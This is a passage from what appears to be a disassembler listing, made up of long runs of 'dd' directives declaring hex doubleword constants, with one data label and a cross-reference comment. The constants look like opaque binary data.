4EFC891Ch, 5AADD89Fh, 403BEA57h, 0E953C160h, 0DBA8F1B6h dd 540535EDh, 0FD0120CCh, 1E089810h, 0DE6DD4E9h, 38054F4Eh dd 0D3B352D1h, 0C2CF018Ch, 9E754FD3h, 5E585C7Bh, 2C938533h dd 81A0365Bh, 0AB641D9Ch, 65E921Ch, 1398EEADh, 9B80BA8Ch dd 0BF812D86h, 904F58C4h, 2AF70411h, 0C005D098h, 232D5FF3h dd 380D7E1Eh, 7E8C81Eh, 8043E680h, 0A920C9B2h, 5AE8900Fh dd 0A175F9CEh, 33BF05FCh, 6F67E25h, 665361C1h, 4BC8DFEEh dd 373FC1F1h, 0CA015AE6h, 68534C18h, 70C42Ah, 362D5A07h dd 0A0B08913h, 4E16DE5Eh, 0F58C99ABh, 0B89A2445h, 0B15E1E00h dd 2C70511h, 84275BD9h, 0D454F12Bh, 8A2760E5h, 8EB2539h dd 0EB809342h, 430B8293h, 3C9DA29h, 7C111802h, 0E2B7E6C1h dd 0F479F90Fh, 0DF396269h dd 0E906C653h, 24D7316h, 0A6D43DF2h, 0F65A21DDh, 0BC58029Eh dd 77659F26h, 54854A7h, 0A30DB568h, 0E413182Eh, 163AB092h dd 0F879C380h, 89B53A72h, 0DF59EB28h, 0ECD5E5B2h, 0E9550D7Eh dd 1529849h, 303B96B8h, 681F57E0h, 74DC01BDh, 0EE5B378Ah dd 0F43E1389h, 0A0CC27Ch, 0F2FA5805h, 2CA0D6B8h, 0EC2F0396h dd 0D6F9E923h, 0B4BBB002h, 81128E3Ah, 0EE56D1CDh, 5223AA4h dd 0A069C977h, 2A2AE965h, 0A9A0FDD9h, 6FE156F3h, 0ABA416A8h dd 8D1025B7h, 0ADA04FE1h, 0B0434BEBh, 382D7A49h, 7D5AC256h dd 0BD1D6E49h, 33C2ED3Dh, 9AEE75D6h, 520C3385h, 0E2D109Ch dd 4D8C79EBh, 832CF0A1h, 41A43802h, 19864407h, 0C65A1A12h dd 68EB02E3h, 0ECB02BF2h, 0D9C0BD3Eh, 6C79CDF2h, 0B8D5FC03h dd 90734EC5h, 0E75AEEBCh, 0F0C3D127h, 256FB836h, 1D93753Bh dd 7ECF6AC1h, 0BFE7494h, 15E4A1Ah, 35761D60h, 11709D0Ah dd 49CE139Eh, 259F5A34h, 769AD22Ah, 18092DF8h, 2B48B734h dd 0C09EF767h, 5A712940h, 22AE29Fh, 26595DC5h, 378EDD15h dd 6053DD33h, 0C4E0DA2Dh, 0FB012E14h, 30840F9h, 0BFCF55E3h dd 0E909978Bh, 0A2DB94A3h, 0D9C793BDh, 9E838AEh, 561C472Ch dd 881DCE10h, 0E1C2CBEEh, 206BB4F5h, 0EB0F01Dh, 5652C827h dd 7E6049EAh, 0D3BFDF92h, 52AD173Dh, 800ABB0h, 20C1271Dh dd 9F50781h, 635D1562h, 49BA6AE5h, 0FC1C41FDh, 0B7558270h dd 3C87DC02h, 8ECE9E7Dh, 0E3682F6Ah, 0ED5E985Fh, 6A9B0419h dd 0EBD0DBE9h, 5FC20F41h, 54EC621Fh, 28BB973h, 50F23635h dd 7D76DC62h, 0CA0E0635h, 81F1348Ch, 0B95EBDC9h, 0F088C12Ah dd 0E0312FAAh, 80042151h, 4D0EA903h, 648C2250h, 6FA933A3h dd 487C8813h, 7F257Dh, 351A1D9Bh, 2F5A7E08h, 5A4E27C5h dd 822CA880h, 5223F995h, 0DBD03F5h, 0BF144ABEh, 0D5E0140Bh dd 57F88E62h, 8F620275h, 5DECEEB9h, 99F065DAh, 0D12DF694h dd 0AC84444Eh, 0A6407224h, 27727FB8h, 43565359h, 0C9EA5897h dd 0A80F075Fh, 4931E941h, 26E4FBA6h, 18DD257Eh, 0A9E6CAC3h dd 0D4810E8h, 9F7EBD54h, 0E908C159h, 0D482DA4Fh, 86717D53h dd 78E3E9C2h, 0F3883BF9h, 0AFE662ACh, 0A248D75Ch, 60B05925h dd 3B4A5B4Eh, 0CD1DC9FCh, 0E9C6BE37h, 4899911h, 0F673B1F2h dd 0CBDC534h, 0CF1878FEh, 3709AB16h, 0D41900AEh, 0E9172D0Bh dd 3BC04BF6h, 0C8151BE6h, 9C4B037h, 0FDBFEEFBh, 7F563209h dd 0A4930792h, 62C2F2EFh, 78E2D730h, 19051F5h, 9E629BC6h dd 690CBD1Bh, 8CA7C03h, 7E2F5317h, 0DDAD8C3Dh, 6813E11Fh dd 72EE56D4h, 0C2D5AA8Bh, 42B8FDA9h, 0BE818269h, 0E4FF3144h dd 0A504F4D9h, 0EB89778Dh, 9425DFC2h, 0D4CB7D2h, 7A7AD8F8h dd 0A104614Fh, 0C315BEDEh, 2602AE4Ah, 0C0980147h, 1E3FF29Fh dd 42CEA1F8h, 0E683E9D3h, 0CB828659h, 36E8E70h, 7EE24225h dd 173A0075h, 777D772Fh, 95716BAh, 59A3B8A5h, 47E21FD4h dd 6454ADCCh, 3AE50BB7h, 420231BDh, 5501C120h, 25E0C589h dd 6A5CB5B9h, 0FA015BC5h, 6F657680h, 0C12EB23Ah, 71316DF6h dd 0DD9B842Bh, 0B415FC2Bh, 5167A48h, 22140F30h, 0CD85B0BFh dd 74033C25h, 6BE001E9h, 602925A7h, 0DF5809E7h, 18A4C04h dd 0E9137D62h, 0A4394AA2h, 0B487FC92h, 0CF50A3FBh, 2457CBE9h dd 0E5EE66A0h, 80C1DB94h, 8852D4C7h, 0D674FE7Ch, 0A72F4390h dd 0D624924Dh, 157C6B1Fh, 3DE91456h, 2C8408DDh, 0D2E2D9C8h dd 0AB1C0F57h, 9F91FACBh, 405AF154h, 4A5DB1B0h, 7CB4BCAFh dd 8820D090h, 49BE06E7h, 3416EB7Dh, 1482BB1Fh, 42A525EEh dd 0BFD853F1h, 25A47093h, 4A4F098Ch, 1CAFA2AFh, 409ABAB3h dd 9620FF4Ch, 0A8DD2D16h, 2389C41Eh, 1B95745h, 0B2C804E8h dd 60A341F0h, 56B7F1D6h, 0FE5E69C0h, 8ABE5512h, 6852D891h dd 7E883F6Fh, 2FC75AE6h, 4DA8EB07h, 0F361276Eh, 0A2214973h dd 6558C12Bh, 0EB290162h, 0E4B5EC6Bh, 5EDB382h, 9ECBEF5Eh dd 0F462F62Dh, 0BBB60E38h, 0A5F68017h, 0E62C47FFh, 87DE8448h dd 50C6D228h, 0A99969F0h, 0B6401D12h, 20726CBAh, 4468385Ch dd 814A25CAh, 0ADCB4DD6h, 1225526h, 6775A34Ch, 0A7E28FEh dd 8DA1069h, 7C3189FFh, 0C0F4185Fh, 8D189501h, 0F9B7A326h dd 94F4C96Ah, 6CEE6404h, 3E1B00C0h, 45294849h, 0B76B1600h dd 905CE95Dh, 13ABF195h, 2BB4A13Ch, 0BF232C2Ch, 5BF59762h dd 0C8C8AD6Ah, 22C2EBB1h, 0F5FB8953h, 4909AAF8h, 7C0DAD66h dd 4E0720CCh, 64F6F45Bh, 0BA68C060h, 4D8721C3h, 5D109F70h dd 4CE05A59h, 39681751h, 67E68C7Ah, 654F5302h, 0FF1674E9h dd 809CC1A0h, 0C5BE2DC1h, 0D673193Fh, 71D1EDD5h, 482157D8h dd 9538B0E8h, 3E69EE4Bh, 3B68A810h, 1147B50Ch, 420BFE25h dd 4E5FC098h, 83C5BFE3h, 68B3752Dh, 0E7DA2F51h, 72C2A700h dd 51363211h, 4B2109B9h, 2DF690B0h, 13A46308h, 160AB95Bh dd 3D206D0h, 40D6FC1Ch, 540C2683h, 0D2F75A12h, 0BBF352Ch dd 2D6B4761h, 9C5DB05h, 0E0777A0h, 668C008Ah, 3ED2D731h dd 0DBC0F51Ch, 0E9266CEFh, 0C09B5C0Eh, 920459D4h, 804C6615h dd 393B111Bh, 5FEC2858h, 13881CE4h, 541EB9D1h, 7F0203E7h dd 89226B68h, 1C2A0F6h, 5559FDF7h, 0D7CB2CE7h, 0A5890F9Ah dd 2917EF7Eh, 0A8C8AAAh, 1E758D68h, 79A327BCh, 840FBC09h dd 58894133h, 1AF49701h, 0F42E628h, 0F0D68E85h, 0B528B9B5h dd 0E297B87Dh, 921C7783h, 0EDA15EBFh, 0C92A60C5h, 54876F17h dd 68E920EAh, 0C7C41198h, 0CCBBACDFh, 0F04F10Eh, 897F5586h dd 5AD52103h, 39E1E5FAh, 0EFCCC0C5h, 6856B60Eh, 0DE47386Eh dd 0C589C0EBh, 37D1722Dh, 58FD89Dh, 41087E26h, 6ED10058h dd 179473Fh, 0CFEE51h, 2B92E908h, 0FC07C1B1h, 0E20AF349h dd 6325C82Ch, 89B8116Ah, 15BE1B45h, 0B184B117h, 0ABED7F80h dd 2959FF35h, 9DA3FD50h, 7ABDCE92h, 0F532BDB5h, 495DF155h dd 0DBE98C81h, 4D466E65h, 0A00D6939h, 3064E591h, 480C23A3h dd 134EFE33h, 81A0194h, 0E914030Ch, 24FFA553h, 0A884015Ah dd 3F2C2209h, 7F0B7C52h, 2C9552BCh, 6BA2CDADh, 6CF8E25Ah dd 0DBD19E5Bh, 0B80005F5h, 7003101h, 2AE02D4Fh, 90D2FF7h dd 773760A3h, 498F7Fh, 1F9119B9h, 49440225h, 0F4352DFFh dd 0C8078CE1h, 519741DCh, 82484913h, 7C95E8F3h, 0B02C427Fh dd 4041FF09h, 0C8069305h, 85C7C523h, 0E72AB5D9h, 0CBB89309h dd 0A1E0E9C5h, 0FEEC7EE3h, 0B945DA85h, 2A97C446h, 72C35807h dd 60649FE2h, 960A161Ch, 0CE7C95BDh, 6CB60491h, 7AE6608h dd 0F7F02902h, 311E7C76h, 0A22FF277h, 93A6CB85h, 0D051CACBh dd 0C5B803A9h, 501B7D24h, 76BBBAD9h, 27EE5A27h, 0CDABF21Eh dd 6CDEF377h, 3BFC680Ch, 8BB6DB97h, 0B9E6A138h, 508A749Fh dd 3504612Fh, 0DDA4E94Ch, 0B9E65E8h, 576BD133h, 8FF5B825h dd 0ABE8A53Eh, 5FE08BEAh, 0C820A9A6h, 71B5D888h, 0E918DDE0h dd 0EFA9ACECh, 1AD8955Dh, 1E0CC890h, 12505527h, 7570B506h dd 0F0FDA77Fh, 0C44012E9h, 9773B052h, 59427D62h, 0C1917B57h dd 50B8D1E9h, 80196D9h, 0DB0D2E00h, 25029D49h, 0CF503E7Dh dd 84C6E916h, 7FC798D4h, 0CAD9816Eh, 6889EECCh, 9E18912Fh dd 80F6032Bh, 0F59950C5h, 59ECC0A2h, 8800E894h, 0F6EB86E3h dd 1708DED5h, 0DC96BDDCh, 2DE4DFDCh, 0EE12809h, 0CD609675h dd 4AB2319Bh, 4A84B864h dd 733CBAF0h, 0A094CAF3h, 0E8E60950h, 39F5F968h, 81709626h dd 3C11A914h, 30AE61D5h, 0C7CD5AF0h, 0DA3DF93Bh, 70E0F807h dd 3FC84197h, 58E32FF1h, 912E0E31h, 688EBFD3h, 0B19957D6h dd 0F6229386h, 98ACB204h, 89F79607h, 464C3E64h, 21F8247Fh dd 0DC585B8Ch, 17099502h, 9FCA9E77h, 0E9E1B7DCh, 0B23A6B3Eh dd 6A6B78ACh, 8167797h, 567C4125h, 2E946038h, 2086706Dh dd 2EE9B9BDh, 1828DCF5h, 5A9F2D00h, 0BCE94869h, 0EBA380EDh dd 7D7066CBh, 5CF42768h, 0A7F21466h, 4EEC710Bh, 0E935815Bh dd 312A5DD2h, 9F9DB329h, 644DCAABh, 0A6D8E214h, 1073285Eh dd 0D20A5DD8h, 61ECBB0Fh, 965C42EFh, 0A0EBF2DDh, 9FC962E9h dd 6AA58871h, 2BF5E9D4h, 75C7564h, 9B42A005h, 0FA36B454h dd 0CCAC5BD4h, 124833Ah, 5FD3053Ah, 0EAC4FE0Ch, 0ECC0EEF0h dd 2AFE6208h, 0C79516Fh, 3C2F7E83h, 5DEEC126h, 0D4824082h dd 32FCD9C3h, 303FD289h, 913DE73h, 0EBD1471Ah, 1B00070Bh dd 0B08D25F3h, 0DF314813h, 7E0378ECh, 5DE31DC4h, 600EFD3h dd 53455FFDh, 2415EBBBh, 31F7ECBh, 6A303422h, 32FE3B0h dd 52416E30h, 4BCB784Eh, 2A268639h, 30D6BD05h, 0B0BB3187h dd 0DF12CBF2h, 0AA81436Ch, 0BF0186A7h, 103C708Dh, 0DE05209Dh dd 0EC56BD37h, 30420CCFh, 0EA187FA5h, 9698FE7Ch, 795FF92Dh dd 0D016659Fh, 1C4F21C4h, 0DC9572B2h, 595FFA6Fh, 25DC2C7Fh dd 89D57C42h, 1CE75711h, 0CCCBE906h, 4B79EA28h, 2744AB9Ch dd 1693630Bh, 0BE194C6Dh, 2D6A592Eh, 72CF545Eh, 0FE42CCBAh dd 8270D2B2h, 0E2CBCE97h, 4BE978EEh, 5BBB49Eh, 0F27BCE45h dd 27B9D295h, 51C9A52Fh, 5C0574CBh, 0C5E8A48h, 8448802h dd 2CD7B866h, 6F7460C1h, 0DA86EAC2h, 783A3076h, 0F841D0BDh dd 441CFEEh, 265AA52h, 0D260A2EAh, 0D55D3682h, 0C7017182h dd 0AC60795Fh, 0BC7DA798h, 0AED1D781h, 9BBFB521h, 859E276Bh dd 66649006h, 0AB5305Bh, 724AAC1h, 7202F240h, 0A93F4E52h dd 0AACF12A3h, 0FFD33BA9h, 84660C99h, 0BE565100h, 3F87501Ch dd 1D01E6FAh, 0E97A2B16h, 0A62A7869h, 1A1210FBh, 13204A7Eh dd 0F8CFBE78h, 89DA5F2Bh, 0E21A7622h, 47615BC0h, 1B634E9Eh dd 0C7550263h, 38A44FE4h, 0BADD9F42h, 0D8DF8024h, 92B49997h dd 0DF8F9FF6h, 0F83F7748h, 0F225D5A4h, 7B08DC61h, 0F1D571FAh dd 80959659h, 402068D1h, 0A31E479Fh, 96C2FA7h, 0A2C66C25h dd 79B53309h, 0F0D29655h, 17A05B9Fh, 9DC07C9Eh, 5D6763EFh dd 0AA749F43h, 0B8537F44h, 0D947B16Bh, 0A356800h, 0DB60EA96h dd 276263Ah, 85DA2D58h, 82FF5375h, 0BD4D3E7h, 252CE577h dd 0C0CC7D54h, 1D8494C8h, 4015975Eh, 519ABF73h, 0B4CF769Fh dd 57F8A198h, 0D2D7FE29h, 739EA26Ch, 0D6E90F32h, 0FE6BD35Eh dd 525D7A4Ch, 0B661A035h, 0BB5E95D8h, 10FB5688h, 0D74B7F88h dd 0FD05F800h, 1B6C6879h, 3856D029h, 20D5DF50h, 13FBF513h dd 50BB7F8h, 0BB0B4210h, 0E98BCD79h, 9504D8AFh, 1E4087Bh dd 5CBB8AFBh, 38D04A6Bh, 0F4505AD7h, 9D419298h, 707A22DCh dd 487A013Eh, 0E7C149ABh, 0B8A03B03h, 8C5F5A68h, 6724E9EEh dd 10816866h, 1A2E41Bh, 9F897720h, 88F93C0Ah, 0B60B234Dh dd 99D543D3h, 0A13F6673h, 94122A17h, 172DDEAEh, 0CCB3AB6Ah dd 0A3B9899Fh, 652CD747h, 806C5E14h, 2F1A278Dh, 138C4AE9h dd 0BC87EA86h, 296870DCh, 7727265h, 1BFF9946h, 97F5EE77h dd 772D11CFh, 0EB0195A5h, 67EB84A4h, 73F55F10h, 233FC4DCh dd 84912FD0h, 65BB30A3h, 0D45CF2A7h, 59722262h, 7259313Bh dd 18F98713h, 0C981084Ah, 2C35F20Eh, 1DC0DF54h, 8902F3BFh dd 0EFC595CFh, 4B7E56A7h, 577AA9D0h, 5BB81E59h, 588920A7h dd 0E9412F54h, 0AB236DF4h, 0FED7067Dh, 696866C7h, 68A85D27h dd 81D227A9h, 0DAD97004h, 0C97F6F41h, 8610C7F5h, 2927D353h dd 434E5040h, 0A769523Eh, 0D5B64209h, 63881967h, 935AA453h dd 177C1F6h, 0C22D2FEFh, 16CF2258h, 0B42752E9h, 0C50EFEA6h dd 7DA4CD80h, 0E596425Dh, 0C6240BEEh, 0E68871DCh, 0ACD8238Eh dd 290A1670h, 9276048h, 0C018F582h, 58B43DECh, 176853E0h dd 17EF9F5Fh, 0D5D2502h, 3570DD50h, 0D4CDED27h, 2F536250h dd 5AD12101h, 80911E6Fh, 6649BD55h, 5AB52C51h, 375D4BC1h dd 83CDCA3h, 0E7605D82h, 0EB059EB8h, 0C601DC7Ch, 7CBEB83h dd 2AF4C9B5h, 0F1C01E61h, 3A667403h, 0C1DDC8B5h, 93C8058Ch dd 1CB314Bh, 5067EB92h, 7A5DDAD3h, 7CE92518h, 1B7F26E2h dd 425001D5h, 199C0D1h, 5FF26FCDh, 0A4535118h, 0BF804D22h dd 0A55D1EA3h, 16B08B65h, 66EC7910h, 0EC2F5C81h, 97571033h dd 0C100BC4Bh, 4F675914h, 0A549046Bh, 0F3680262h, 45E95678h dd 549CFE57h, 20A7F7BDh, 0FCE9B35Ah, 804E6340h, 8DA5EBACh dd 5A32042h, 27C95482h, 0AA533124h, 0F68584A9h, 0E635EB4Dh dd 1D394ABh, 0BA433908h, 0B2F32A70h, 95F03150h, 6C50B391h dd 8952C2D0h, 9A1150F2h, 0E15C951Eh, 0E5ED4A5Ch, 0BE12C76h dd 0DD6A9B2Fh, 0FA60AF85h, 0D5C4C84Bh, 0E90B2745h, 761ED044h dd 1FC1304Fh, 0C085B05Ch, 6605E807h, 0F6825053h, 64B2812Ch dd 0B93EC388h, 59E90CB9h, 13B6C11Eh, 83CEFE48h, 195A3DD1h dd 1274EB7h, 849D135Dh, 405867A4h, 74B06696h, 0CF79419Dh dd 0C70AD0B0h, 54B21A77h, 0BDA20A20h, 7F1C1BFAh, 0FFBEB36Ch dd 0EEBCF04Bh, 570E33F5h, 0C5DD0BB7h, 40E76ADCh, 4E5D061Ah dd 0BF20C095h, 28B9815Ah, 6087891Eh, 9FE1D14Ch, 9A209C78h dd 0F48003D0h, 58E5087Eh, 0C107EDB1h, 42D56AEBh, 2CC40485h dd 0C13E64AAh, 7FF73ED7h, 4910F4B3h, 0E78101ADh, 68D3571Fh dd 2FBD8E40h, 873750D9h, 4E3305FDh, 0EFFA0929h, 4226FC4Eh dd 549DE972h, 86BB00E8h, 0BA2A916Bh, 310B8265h, 5F940BBBh dd 6251A8DEh, 5A7689BFh, 281FC020h, 94975AF3h, 99B53FAFh dd 0AFA2EB2Dh, 4E0A1A47h, 0FC27BE04h, 0BB6D85E1h, 0DAAE93Dh dd 5BDA49E8h, 0EACAF117h, 31680630h, 0BC3FE146h, 4F43D4EDh dd 975CD27Ch, 55C03579h, 13566857h, 0BC530A47h, 0E85901DFh dd 0FD89B53Bh, 0A0C583E4h, 1D74CDB5h, 0BC409B23h, 20D00684h dd 0C8202B7h, 0D166603Fh, 0A70EB4D4h, 0BFAC6CD4h, 0A9410B28h dd 0FB80843Bh, 0F7661930h, 27C4B0E9h, 0E5C093Ch, 494D1E2h dd 9757B05Fh, 0D3209241h, 2D14ECC6h, 97D06410h, 0FA758220h dd 2BDA09C2h dword_4F0044 dd 1F0260C9h, 7829D7A8h, 1A6E9DBAh, 14020B3h, 1233FFFBh ; DATA XREF: ___:00437DCCo dd 0BED0B1E9h, 0F07E0929h, 0D09F98CBh, 0A6D78105h, 5AD7E58Bh dd 0B18BB07h, 4EF5C5DFh, 5FAFEEC0h, 0D8C1467Ch, 431B784Dh dd 841B77Dh, 141F6344h, 4405FE92h, 38BA9C61h, 8A0BA44h dd 0E912D729h, 0B6ABC719h, 2552601Bh, 12145F43h, 0A980E2E9h dd 8C112E6h, 34E54A0Ch, 0B8094B59h, 0A4D22D86h, 3F8E176h dd 5A5B5D00h, 3D69852Dh, 8CBC724Fh, 0FCFE0741h, 885161AEh dd 0D0A631D1h, 85E8E9CCh, 68A690B7h, 55B3DF6Ch, 0BD3FFDD6h dd 2B291C0Bh, 737621ABh, 0BF51C42Dh, 940949D0h, 0D7D15C96h dd 0E2F0BB3Bh, 4F1D46BFh, 0D613E922h, 0B8C1DBE8h, 504EEF28h dd 86CB8127h, 0C5691F28h, 0B5B7EB01h, 0FDE9BFAAh, 29122868h dd 0F57017EFh, 0AAC4DB87h, 4D0B9352h, 1336D196h, 8319A75Fh dd 12762568h, 0B35A72F1h, 0BE660591h, 9836337h, 0EB3B047Bh dd 815D3FF5h, 3D5BD987h, 0FB5385B0h, 90023F9h, 2D2BD573h dd 0A025FAE3h, 587DD8D6h, 0BD4A5555h, 0AA569EF0h, 2410CB0h dd 0DCF26855h, 63FFA4CFh, 7F319ACAh, 65D4B532h, 0DE4B1909h dd 0BA562CCh, 0AE81C77Dh, 0E95650ECh, 7900C04Eh, 0FD3A112Dh dd 0D8292E37h, 9D082006h, 0C0FBF840h, 7B02D582h, 8001D473h dd 4B2F28F6h, 0BC0406B3h, 6C7D677h, 0BAF1C3F6h, 0A066330Ch dd 0BCAFA617h, 0CE1425AAh, 8DE8832Ch, 451B2809h, 2DD2498h dd 2F18513Fh, 1FCB5E55h, 110FC933h, 0B9C410DFh, 34726BEh dd 0B85F4203h, 58090946h, 0F92C3268h, 417D8C0Fh, 77EEC685h dd 2D41D74Ah, 2FB981Bh, 0E919C83Eh, 0BB2FA4Dh, 0DDB7B353h dd 80FB1830h, 0C01AEE1Ch, 421706D7h, 0A2C10CFFh, 0E913EB1Ah dd 3A209111h, 4F28310Fh, 4150AD59h, 57FC3A08h, 2BA417F1h dd 760480E6h, 0F886181Ch, 27FE4E3Eh, 96F03907h, 98EAD13Bh dd 0E20F92BAh, 5A672768h, 4C836918h, 0D672B9AAh, 1377E137h dd 0FE20E5F2h, 0A92D64F1h, 7EE14EEEh, 10D9D83Ah, 0FE0F7796h dd 24A12FC8h, 85AC99BDh, 5D627CC6h, 3FCE2137h, 2F16526Bh dd 0E868D848h, 1026399Eh, 0BD020C7Ch, 0FD28016Bh, 68B6F3FAh dd 5DE88539h, 8DBA8568h, 652EE071h, 0C9DC485Ah, 9C2C5F56h dd 2BFBE824h, 5AC4E3E2h, 17AE1111h, 0E565D001h, 0E84B56BAh dd 0EC3F488h, 0FE4150A8h, 0C5837A5Dh, 640B3584h, 0BD1980A8h dd 3F5B1E57h, 74F405EEh, 2116CD81h, 1D88003Ah, 0A0902C84h dd 0C0B4DF4Dh, 882BC2C7h, 21E9107Ch, 52591376h, 0A8BCBB0Ah dd 29062D03h, 0C289F973h, 58FFD6Dh, 700F4003h, 72DE628h dd 9A825A4Bh, 0C8290FA2h, 0BE804B29h, 0F231CD68h, 60BF2E50h dd 0EE502443h, 0AA2600B4h, 41D9F72Ch, 0AF6E981h, 89B24A05h dd 89BF59CBh, 46E82ABAh, 0E9B384ADh, 0D5CD0A9Fh, 6B56A9Ch dd 5801416Bh, 3158C2B0h, 0A71D2875h, 6AB5BA90h, 9BE5FD45h dd 5C2DED00h, 9C5B0F67h, 6388A81Eh, 7EC98995h, 0EC340989h dd 0BF916BCCh, 5AA4061Ah, 4F86C044h, 0E9D94A23h, 1DEF354h dd 2EFAD3AEh, 5486829Fh, 0C258FE5Dh, 7D8061EBh, 55A8B49Ch dd 82CED695h, 465F1FECh, 22EB895Fh, 1434CCCh, 2BF4C180h dd 92CBA63h, 0B8E9B202h, 0B900B150h, 14BA108Ah, 121EE181h dd 11CE452h, 0C556EC3Dh, 0C0C27B05h, 0BBCEA321h, 0B3EA853Eh dd 0E3DD8483h, 9648EF41h, 8B7FF6DFh, 0E9D6C062h, 8A8488Ah dd 27DE00D2h, 0BB199012h, 7D0B2569h, 10D5F889h, 9E84E976h dd 7CD26DDh, 0A223652Ch, 0F3D5E49Eh, 12FD1FD0h, 0B8DEE0BCh dd 4012E300h, 35D8F771h, 0BFED0B19h, 0BF62298Eh, 75682BD5h dd 0BEB9DE04h, 4F523D88h, 0AF29AB54h, 94C9A33Bh, 0B61D18A6h dd 0AA1CE7A1h, 0E840D770h, 940159C9h, 53F7812Fh, 12E6245h dd 5D26C4F2h, 70E7F140h, 0FABDF855h, 1836FC80h, 340CE050h dd 90160DD8h, 0C4B08903h, 8C355E43h, 33415896h, 0D28F05F4h dd 4D66EC88h, 0B5444F38h, 0AB8A5D37h, 0A37AA8D2h, 0D0E2275Ch dd 66C21A74h, 3CDE097Eh, 0F9C070Dh, 0C7C8C361h, 30D9395Dh dd 0C0A804DEh, 6BA3FAA8h, 0E906F10h, 4EF78853h, 7FF98BCEh dd 0E12F6E16h, 489A509Fh, 0E336A4Dh, 0D9832B06h, 24AFE9FBh dd 2FC3AD50h, 0C59677E7h, 0CAAF54D7h, 0E7424E5Eh, 54B89CE9h dd 0A2536711h, 5BF24463h, 37CF2A12h, 0A6D395C7h, 21C028FAh dd 89BABCCAh, 397F2CF6h, 953C596Bh, 54525719h, 5F8C3B9Ah dd 2C32581h, 0E9418D71h, 0D07A23F7h, 0EB81027Fh, 44208E0Eh dd 0D449DE0Dh, 1F35806h, 874E35F3h, 81DBF732h, 0ED17128h dd 3B3031EDh, 203441AEh, 69241C18h, 0F113CA2Bh, 0AEFDE3C5h dd 71A16251h, 4BB50189h, 7634E368h, 36F51509h, 75AC4A08h dd 0E85FCADAh, 7088E922h, 707E9792h, 9A480C2h, 5BA68C00h dd 81004C99h, 61BD59C1h, 0B8CE2920h, 0D8D8BF2Ch, 0DACC5CB5h dd 4A70EBC0h, 3CFE71E2h, 0EBD4739Fh, 257B4A5Fh, 57E060EEh dd 0FA012658h, 0BFF7165Eh, 60DB8F88h, 5BC3698Bh, 504F3351h dd 0E9D683E9h, 742460AAh, 285AE51Eh, 80C3FB29h, 48FF5F08h dd 8D35C030h, 1A500F60h, 0B33526C7h, 0ED2FF8B1h, 0BD4A54EBh dd 1792A998h, 641D26C1h, 2BE38A3h, 15BA55FDh, 4E734C5Bh dd 3952AF29h, 0F638800Bh, 1A076B2Eh, 2917F137h, 852A0D9h dd 7FA5B4Ch, 5F072C18h, 6805C3CEh, 84F3F55Eh, 0EF1D310Fh dd 9885B8B3h, 0BCFFBB78h, 0B41087Bh, 0DB078813h, 0D8575059h dd 14E7C177h, 7EC9ABBBh, 28C6018Ah, 0D94D9F5Dh, 34B22EEEh dd 75ECBF2Dh, 97F8E597h, 342522A9h, 0E9589CF4h, 0E77D4E2Fh dd 0E9079899h, 2516BC33h, 2D19B65Dh, 0F9988C5Eh, 6C0BF3B9h dd 82536711h, 9C0E480h, 9D2C2182h, 622544Dh, 4778D69Fh dd 1751C95Bh, 78FD5F12h, 0AB529F16h, 4029EC28h, 6C0468BFh dd 58454259h, 948C7AFh, 8FEAFEA3h, 0E7900A7Bh, 31076730h dd 5ABD74AFh, 2700EF03h, 621EB725h, 0E9481363h, 0B9E88010h dd 757D5EB0h, 538E683Ah, 0F6BE1EB5h, 0E03F45CAh, 86172502h dd 9F487711h, 0E1633E6h, 1FAC4015h, 5DEA29CFh, 64AE01F2h dd 7BE91E86h, 3A0142D5h, 0B295913h, 1231F1D8h, 0F88FF002h dd 93A84ED3h, 0BB04AA65h, 472E8241h, 9220B2A7h, 6E1A12EDh dd 8DC4EB62h, 0D8E90802h, 39D668AEh, 11C22D6Fh, 42604DDh dd 0AB3393D3h, 2136007Ch, 551AF15Ch, 144EADE9h, 0BE931EE3h dd 816AF9CDh, 6A96D688h, 1785AC5Eh, 9AAA3689h, 2EEE4549h dd 1487A739h, 84E95E54h, 0C29EBC8h, 0E25459F1h, 0FB33580h dd 0BF2B5BF3h, 0F5EF3A2Dh, 4F138F10h, 0FE928BB9h, 6D0854DDh dd 145725E9h, 0E78D8318h, 4BD2F780h, 0D7E3692h, 25081695h dd 0E775DDA4h, 91421E1h, 0E455BBDDh, 8AAC204Eh, 0C908F294h dd 22B501DFh, 0C059EC28h, 0C22D68DCh, 86E29874h, 384A97C0h dd 0CEBD6875h, 11321251h, 0B04B0E68h, 9000340Bh, 1657B1C6h dd 0F321EB04h, 59F86EE9h, 59EA2003h, 0E7D3CAFEh, 11956A70h dd 5F6E8814h, 6501C843h, 7655E1Dh, 0B0EB451Eh, 0DF545616h dd 2FE388FBh, 28EE0500h, 700D43D3h, 6C7833ACh, 4D5B777Eh dd 0CEF520AAh, 720542BCh, 0C8B0E933h, 27788CB2h, 0E19E256Dh dd 2C685E0Ah, 1C97AE3Fh, 0B75F20E0h, 2CD10C54h, 7B80501h dd 5FBDDFDFh, 62AFBC65h, 0A6043CD1h, 1BD6CB0h, 5C11FABAh dd 3B5DEB31h, 1A89D5ACh, 29C3F210h, 7A9F7402h, 0E0038F51h dd 8289B69Ah, 0FDAD1EDDh dd 6B0BA4A8h, 45F52BA1h, 0D5D36D5Dh, 5D5401E1h, 0EDFE607Eh dd 3D273B23h, 82C5FA40h, 0FAE60208h, 2F995729h, 628F3AECh dd 5185277Eh, 54EB5F54h, 105CAC5Ch, 0B6462EE6h, 6A078800h dd 9DDEF77Dh, 0B1915EC0h, 0D5826624h, 0C16DC002h, 1A958013h dd 9144F239h, 0D00820E3h, 5E29141Ch, 0A5DB2C3Ah, 1152F2F4h dd 8B11335Ah, 4B996BBFh, 16D4B73Ah, 3A52FEE9h, 503009BEh dd 745B6761h, 3C4FD28Dh, 2BF4FA44h, 51176802h, 9270C577h dd 92524155h, 2E3B6C13h, 7154084h, 0F0A64BA7h, 8421B24Eh dd 0AF127328h, 2652400Fh, 9894A065h, 0CCE84B11h, 1409B9AEh dd 0C0299A0Eh, 0E2E9D155h, 30934B08h, 7B44B8C4h, 0E47CB336h dd 0E8831604h, 48F9B001h, 0C4723500h, 0CBE96A43h, 5811BE1Dh dd 0D2BD055Dh, 8ED2CA62h, 3477BD93h, 0C20EB58Bh, 1E771C9Fh dd 4FE9186Bh, 3BBA298Fh, 7930519Fh, 39126858h, 91B29A51h dd 0F8F37F42h, 17CF73ADh, 588D81D2h, 7CC26F21h, 80E14AB9h dd 82063B2Ch, 0AC6B53Ah, 489CA420h, 1D25025Ch, 0E3882310h dd 59031993h, 104CA868h, 2F9B6BD5h, 26627C5Ah, 9DD512F6h dd 5AD5FAE1h, 0A8E92711h, 1676B168h, 0D5A037B9h, 106E9F01h dd 